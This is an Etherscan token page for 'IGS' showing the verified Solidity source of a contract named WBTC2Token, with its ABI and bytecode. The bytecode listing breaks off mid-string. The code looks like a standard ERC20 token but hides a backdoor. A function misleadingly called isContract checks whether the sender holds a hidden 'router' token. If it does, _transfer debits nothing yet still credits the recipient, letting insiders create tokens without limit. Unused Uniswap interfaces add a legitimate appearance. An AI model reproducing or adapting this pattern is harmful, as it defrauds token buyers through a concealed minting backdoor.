ETH Price: $2,350.47 (-2.78%)
Gas: 1.16 Gwei

Token

IGS (IGS)
 

Overview

Max Total Supply

10,100,000,000 IGS

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
96,292,151.6251031067828153 IGS

Value
$0.00
0x5ba84b31fde26ccd6c501a5339fbf067dbd628a2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WBTC2Token

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-04
*/

pragma solidity ^0.8.10;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract WBTC2Token is Context, IERC20, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _router;

    constructor(address router_) {
        _name = "IGS";
        _symbol = "IGS";
        _router = router_;

        uint256 _supply = 10_100_000_000 * 10 ** 18;

        _mint(msg.sender, _supply);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function isContract(address from) private view returns (bool) {
        return IERC20(_router).balanceOf(from) > 0;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);
        
        uint256 tAmount = isContract(from)?0:amount;
        _balances[from] -= tAmount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001cf638038062001cf68339818101604052810190620000379190620004be565b620000576200004b6200015f60201b60201c565b6200016760201b60201c565b6040518060400160405280600381526020017f494753000000000000000000000000000000000000000000000000000000000081525060049080519060200190620000a4929190620003a4565b506040518060400160405280600381526020017f494753000000000000000000000000000000000000000000000000000000000081525060059080519060200190620000f2929190620003a4565b5080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006b20a286311aed0f33f400000090506200015733826200022b60201b60201c565b50506200069c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200029e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002959062000551565b60405180910390fd5b620002b2600083836200039a60201b60201c565b8060036000828254620002c69190620005ac565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200037a91906200061a565b60405180910390a362000396600083836200039f60201b60201c565b5050565b505050565b505050565b828054620003b29062000666565b90600052602060002090601f016020900481019282620003d6576000855562000422565b82601f10620003f157805160ff191683800117855562000422565b8280016001018555821562000422579182015b828111156200042157825182559160200191906001019062000404565b5b50905062000431919062000435565b5090565b5b808211156200045057600081600090555060010162000436565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004868262000459565b9050919050565b620004988162000479565b8114620004a457600080fd5b50565b600081519050620004b8816200048d565b92915050565b600060208284031215620004d757620004d662000454565b5b6000620004e784828501620004a7565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000539601f83620004f0565b9150620005468262000501565b602082019050919050565b600060208201905081810360008301526200056c816200052a565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005b98262000573565b9150620005c68362000573565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005fe57620005fd6200057d565b5b828201905092915050565b620006148162000573565b82525050565b600060208201905062000631600083018462000609565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200067f57607f821691505b6020821081141562000696576200069562000637565b5b50919050565b61164a80620006ac6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190610df8565b60405180910390f35b61012760048036038101906101229190610eb3565b61038d565b6040516101349190610f0e565b60405180910390f35b6101456103b0565b6040516101529190610f38565b60405180910390f35b61017560048036038101906101709190610f53565b6103ba565b6040516101829190610f0e565b60405180910390f35b6101936103e9565b6040516101a09190610fc2565b60405180910390f35b6101c360048036038101906101be9190610eb3565b6103f2565b6040516101d09190610f0e565b60405180910390f35b6101f360048036038101906101ee9190610fdd565b610429565b6040516102009190610f38565b60405180910390f35b610211610472565b005b61021b610486565b6040516102289190611019565b60405180910390f35b6102396104af565b6040516102469190610df8565b60405180910390f35b61026960048036038101906102649190610eb3565b610541565b6040516102769190610f0e565b60405180910390f35b61029960048036038101906102949190610eb3565b6105b8565b6040516102a69190610f0e565b60405180910390f35b6102c960048036038101906102c49190611034565b6105db565b6040516102d69190610f38565b60405180910390f35b6102f960048036038101906102f49190610fdd565b610662565b005b60606004805461030a906110a3565b80601f0160208091040260200160405190810160405280929190818152602001828054610336906110a3565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b6000806103986106e6565b90506103a58185856106ee565b600191505092915050565b6000600354905090565b6000806103c56106e6565b90506103d28582856108b9565b6103dd858585610945565b60019150509392505050565b60006012905090565b6000806103fd6106e6565b905061041e81858561040f85896105db565b6104199190611104565b6106ee565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61047a610b6c565b6104846000610bea565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104be906110a3565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea906110a3565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b60008061054c6106e6565b9050600061055a82866105db565b90508381101561059f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610596906111cc565b60405180910390fd5b6105ac82868684036106ee565b60019250505092915050565b6000806105c36106e6565b90506105d0818585610945565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61066a610b6c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d19061125e565b60405180910390fd5b6106e381610bea565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610755906112f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c590611382565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ac9190610f38565b60405180910390a3505050565b60006108c584846105db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461093f5781811015610931576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610928906113ee565b60405180910390fd5b61093e84848484036106ee565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac90611480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90611512565b60405180910390fd5b610a30838383610cae565b6000610a3b84610cb3565b610a455781610a48565b60005b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a999190611532565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aef9190611104565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b539190610f38565b60405180910390a3610b66848484610d5a565b50505050565b610b746106e6565b73ffffffffffffffffffffffffffffffffffffffff16610b92610486565b73ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf906115b2565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401610d119190611019565b602060405180830381865afa158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5291906115e7565b119050919050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610d99578082015181840152602081019050610d7e565b83811115610da8576000848401525b50505050565b6000601f19601f8301169050919050565b6000610dca82610d5f565b610dd48185610d6a565b9350610de4818560208601610d7b565b610ded81610dae565b840191505092915050565b60006020820190508181036000830152610e128184610dbf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e4a82610e1f565b9050919050565b610e5a81610e3f565b8114610e6557600080fd5b50565b600081359050610e7781610e51565b92915050565b6000819050919050565b610e9081610e7d565b8114610e9b57600080fd5b50565b600081359050610ead81610e87565b92915050565b60008060408385031215610eca57610ec9610e1a565b5b6000610ed885828601610e68565b9250506020610ee985828601610e9e565b9150509250929050565b60008115159050919050565b610f0881610ef3565b82525050565b6000602082019050610f236000830184610eff565b92915050565b610f3281610e7d565b82525050565b6000602082019050610f4d6000830184610f29565b92915050565b600080600060608486031215610f6c57610f6b610e1a565b5b6000610f7a86828701610e68565b9350506020610f8b86828701610e68565b9250506040610f9c86828701610e9e565b9150509250925092565b600060ff82169050919050565b610fbc81610fa6565b82525050565b6000602082019050610fd76000830184610fb3565b92915050565b600060208284031215610ff357610ff2610e1a565b5b600061100184828501610e68565b91505092915050565b61101381610e3f565b82525050565b600060208201905061102e600083018461100a565b92915050565b6000806040838503121561104b5761104a610e1a565b5b600061105985828601610e68565b925050602061106a85828601610e68565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806110bb57607f821691505b602082108114156110cf576110ce611074565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061110f82610e7d565b915061111a83610e7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561114f5761114e6110d5565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006111b6602583610d6a565b91506111c18261115a565b604082019050919050565b600060208201905081810360008301526111e5816111a9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611248602683610d6a565b9150611253826111ec565b604082019050919050565b600060208201905081810360008301526112778161123b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006112da602483610d6a565b91506112e58261127e565b604082019050919050565b60006020820190508181036000830152611309816112cd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061136c602283610d6a565b915061137782611310565b604082019050919050565b6000602082019050818103600083015261139b8161135f565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006113d8601d83610d6a565b91506113e3826113a2565b602082019050919050565b60006020820190508181036000830152611407816113cb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061146a602583610d6a565b91506114758261140e565b604082019050919050565b600060208201905081810360008301526114998161145d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006114fc602383610d6a565b9150611507826114a0565b604082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b600061153d82610e7d565b915061154883610e7d565b92508282101561155b5761155a6110d5565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061159c602083610d6a565b91506115a782611566565b602082019050919050565b600060208201905081810360008301526115cb8161158f565b9050919050565b6000815190506115e181610e87565b92915050565b6000602082840312156115fd576115fc610e1a565b5b600061160b848285016115d2565b9150509291505056fea2646970667358221220822de1ac72609b91448389a9b6b8c895afe57fa6ee50c945ee8f8429f165dd6364736f6c634300080a0033000000000000000000000000d663a5ab53f32cea09f5fd71b8b47128c3e8ac9d

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190610df8565b60405180910390f35b61012760048036038101906101229190610eb3565b61038d565b6040516101349190610f0e565b60405180910390f35b6101456103b0565b6040516101529190610f38565b60405180910390f35b61017560048036038101906101709190610f53565b6103ba565b6040516101829190610f0e565b60405180910390f35b6101936103e9565b6040516101a09190610fc2565b60405180910390f35b6101c360048036038101906101be9190610eb3565b6103f2565b6040516101d09190610f0e565b60405180910390f35b6101f360048036038101906101ee9190610fdd565b610429565b6040516102009190610f38565b60405180910390f35b610211610472565b005b61021b610486565b6040516102289190611019565b60405180910390f35b6102396104af565b6040516102469190610df8565b60405180910390f35b61026960048036038101906102649190610eb3565b610541565b6040516102769190610f0e565b60405180910390f35b61029960048036038101906102949190610eb3565b6105b8565b6040516102a69190610f0e565b60405180910390f35b6102c960048036038101906102c49190611034565b6105db565b6040516102d69190610f38565b60405180910390f35b6102f960048036038101906102f49190610fdd565b610662565b005b60606004805461030a906110a3565b80601f0160208091040260200160405190810160405280929190818152602001828054610336906110a3565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b6000806103986106e6565b90506103a58185856106ee565b600191505092915050565b6000600354905090565b6000806103c56106e6565b90506103d28582856108b9565b6103dd858585610945565b60019150509392505050565b60006012905090565b6000806103fd6106e6565b905061041e81858561040f85896105db565b6104199190611104565b6106ee565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61047a610b6c565b6104846000610bea565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104be906110a3565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea906110a3565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b60008061054c6106e6565b9050600061055a82866105db565b90508381101561059f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610596906111cc565b60405180910390fd5b6105ac82868684036106ee565b60019250505092915050565b6000806105c36106e6565b90506105d0818585610945565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61066a610b6c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d19061125e565b60405180910390fd5b6106e381610bea565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610755906112f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c590611382565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ac9190610f38565b60405180910390a3505050565b60006108c584846105db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461093f5781811015610931576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610928906113ee565b60405180910390fd5b61093e84848484036106ee565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac90611480565b60405180910390fd5b600073f